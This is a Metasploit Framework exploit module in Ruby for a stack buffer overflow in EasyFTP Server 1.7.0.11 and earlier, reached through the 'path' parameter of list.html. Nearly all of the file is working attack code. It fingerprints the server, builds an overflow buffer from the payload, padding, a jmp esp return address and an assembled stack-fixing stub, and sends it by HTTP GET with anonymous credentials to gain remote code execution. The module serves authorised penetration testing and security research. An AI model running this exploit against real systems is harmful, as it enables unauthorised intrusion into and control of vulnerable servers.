metasploit-framework/modules/exploits/windows/http/easyftp_list.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
HttpFingerprint = { :pattern => [ /Easy-Web Server\// ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'EasyFTP Server <= 1.7.0.11 list.html path Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
and earlier. EasyFTP fails to check input size when parsing the 'path' parameter
supplied to an HTTP GET request, which leads to a stack based buffer overflow.
EasyFTP allows anonymous access by default; valid credentials are typically
unnecessary to exploit this vulnerability.
After version 1.7.0.12, this package was renamed "UplusFtp".
Due to limited space, as well as difficulties using an egghunter, the use of
staged, ORD, and/or shell payloads is recommended.
},
'Author' =>
[
'ThE g0bL!N', # Original exploit [see References]
'jduck' # Metasploit re-implementation
],
'References' =>
[
[ 'OSVDB', '66614'],
[ 'EDB', '11500' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged' => true,
'Payload' =>
{
'Space' => 256,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2b\x2f\x3b\x3f\x5c",
'Compat' =>
{
'ConnectionType' => '+ws2ord',
},
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 - Easy FTP Server Universal',
# NOTE: It's not possible to use addresses within the
# binary due to the nul byte.
{
'Ret' => 0x7cc5d507 # jmp esp in shell32.dll
#'Ret' => 0xdeadbeef
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 18 2010'
))
register_options(
[
Opt::RPORT(8080),
OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'anonymous']),
OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']),
], self.class)
end
def check
info = http_fingerprint # check method
if info and (info =~ /Easy-Web Server\//)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
if (payload.encoded.length > payload_space)
fail_with(Exploit::Failure::Unknown, "Insufficient space for payload, try using a staged, ORD and/or shell payload.")
end
# Fix up ESP, jmp to the beginning of the buffer
stub_asm = %q{
mov edi, esp
add esp, 0xfffffc04
add edi, 0xfffffee8
jmp edi
}
stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub_asm).encode_string
# Build the path up
path = ''
path << payload.encoded
path << rand_text(268 - path.length)
# NOTE: It's possible to overwrite SEH, however SafeSEH is in effect.
path << [target.ret].pack('V')
path << rand_text(280 - path.length)
path << stub
path << rand_text(332 - path.length)
uri = "/list.html?path="
uri << path
print_status("Trying target #{target.name}...")
res = send_request_raw({ 'uri' => uri }, 5)
if (res)
print_error("The server unexpectedly responded, this is not good.")
print_status(res.inspect)
end
handler
end
end